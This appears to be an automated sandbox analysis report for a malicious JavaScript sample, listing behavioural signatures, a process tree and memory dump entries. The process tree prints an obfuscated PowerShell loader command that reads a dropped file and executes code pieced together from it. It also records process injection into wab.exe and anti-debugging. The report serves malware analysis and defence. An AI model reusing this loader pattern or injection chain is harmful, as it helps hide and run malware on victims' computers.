Analysis
- max time kernel
148s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
22/07/2026, 17:45
General
- Target Basketagen124.js
- Size 490KB
- Sample260722-wb2a2sej41
- SHA256 7e47543e5ffb8cfc4bd70e6baeeabb0a94e9a6817680d80da038baa3f9909b88
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 3 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 30 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Basketagen124.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exe"C:\Windows\explorer.exe" C:\Windows2⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Uncrystali='/app'+'data';$Quintaden=gc ($home+$Uncrystali+'/local/Afsva136');$Regnbu=$Quintaden[4789]+$Quintaden[4790]+$Quintaden[4791]; . ($Regnbu) $Quintaden"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Uncrystali='/app'+'data';$Quintaden=gc ($home+$Uncrystali+'/local/Afsva136');$Regnbu=$Quintaden[4789]+$Quintaden[4790]+$Quintaden[4791]; . ($Regnbu) $Quintaden"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Tryps.Ant
Afsva136
memory/2816-11-0x00000000056C0000-0x00000000056E2000-memory.dmp
memory/2816-23-0x00000000063B0000-0x00000000063D2000-memory.dmp
memory/2816-13-0x00000000057D0000-0x0000000005836000-memory.dmp
memory/2816-16-0x0000000005900000-0x0000000005C5B000-memory.dmp
memory/2816-27-0x0000000008750000-0x000000000D164000-memory.dmp
memory/2816-18-0x0000000005E00000-0x0000000005E1E000-memory.dmp
memory/2816-19-0x0000000005EC0000-0x0000000005F0C000-memory.dmp
memory/2816-10-0x0000000005070000-0x00000000056BA000-memory.dmp
memory/2816-21-0x0000000006DE0000-0x0000000006E76000-memory.dmp
memory/2816-22-0x0000000006360000-0x000000000637A000-memory.dmp
memory/2816-12-0x0000000005760000-0x00000000057C6000-memory.dmp
memory/2816-24-0x0000000007490000-0x0000000007A4A000-memory.dmp
memory/2816-25-0x00000000080D0000-0x000000000874C000-memory.dmp
memory/2816-9-0x00000000025E0000-0x0000000002616000-memory.dmp
memory/5556-3-0x0000017EE0880000-0x0000017EE08A2000-memory.dmp